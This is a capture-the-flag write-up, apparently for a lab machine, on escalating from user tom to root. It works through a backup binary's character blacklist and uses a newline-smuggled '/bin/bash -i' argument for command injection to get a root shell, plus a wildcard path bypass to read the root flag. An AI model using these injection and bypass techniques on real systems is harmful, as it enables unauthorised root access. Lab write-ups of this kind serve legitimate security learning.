6 privesc tom > root

tom@node:~$ id
uid=1000(tom) gid=1000(tom) groups=1000(tom),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lpadmin),116(sambashare),1002(admin)

# we know tom can run /usr/local/bin/backup
tom@node:~$ which backup
/usr/local/bin/backup

# looking back at code for app.js
const backup_key  = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';
app.get('/api/admin/backup', function (req, res) {
    if (req.session.user && req.session.user.is_admin) {
      var proc = spawn('/usr/local/bin/backup', ['-q', backup_key, __dirname ]);
      var backup = '';

      proc.on("exit", function(exitCode) {
        res.header("Content-Type", "text/plain");
        res.header("Content-Disposition", "attachment; filename=myplace.backup");
        res.send(backup);
      });
# the backup takes 3 args 
# -q <backup key>
# a directory to backup

# tried the following 
backup -q <key> /root/root.txt
# push encoded hash in backup1
cat backup1 | base64 -d > backup1_d
# unzip backup1_d; had to use 7z
7z x backup1_d
# got troll image

# need to analyze code 
# running strings
/root
/etc
/tmp/.backup_%i
/usr/bin/zip -r -P magicword %s %s > /dev/null

# -r recursive path
# -P password
# %s is the dir path

# while trying to run strace backup -q <key> /etc/shadow
strstr("/etc/shadow", "..")                      = nil
strstr("/etc/shadow", "/root")                   = nil
strchr("/etc/shadow", ';')                       = nil
strchr("/etc/shadow", '&')                       = nil
strchr("/etc/shadow", '`')                       = nil
strchr("/etc/shadow", '$')                       = nil
strchr("/etc/shadow", '|')                       = nil
strstr("/etc/shadow", "//")                      = nil
strcmp("/etc/shadow", "/")                       = 1
strstr("/etc/shadow", "/etc")                    = "/etc/shadow"
sprintf("/usr/bin/zip -r -P magicword /tm"..., "/usr/bin/zip -r -P magicword %s "..., "/tmp/.backup_1865513957", "bla") = 68
system("/usr/bin/zip -r -P magicword /tm"... <no return ...>

# The strstr() function finds the first occurrence of string2 in string1. 
# all those are basically blacklisted; can't be used in directory name

# trying command injection using \n as its not blocked
# as the command expect two %s
# first is being used for zip command
# second is > /dev/null

bla$'\n'"RCE-GOES-HERE"$'\n'bla

# first string: bla
# newline: $'\n'
# command injected: anything
# newline: $'\n'
# second string: bla

tom@node:/tmp$ backup -q '' bla$'\n'"/bin/bash -i"$'\n'bla
        zip warning: name not matched: bla

zip error: Nothing to do! (try: zip -r -P magicword /tmp/.backup_422861227 . -i bla)
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

root@node:/tmp# whoami;id
root
uid=0(root) gid=1000(tom) groups=1000(tom),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lpadmin),116(sambashare),1002(admin)
# can get root flag directly by using wildcards
# as strstr is searcing for '/root'; we can use wildcard to avoid it

backup -q '' /r*ot/ro*t.txt

Last updated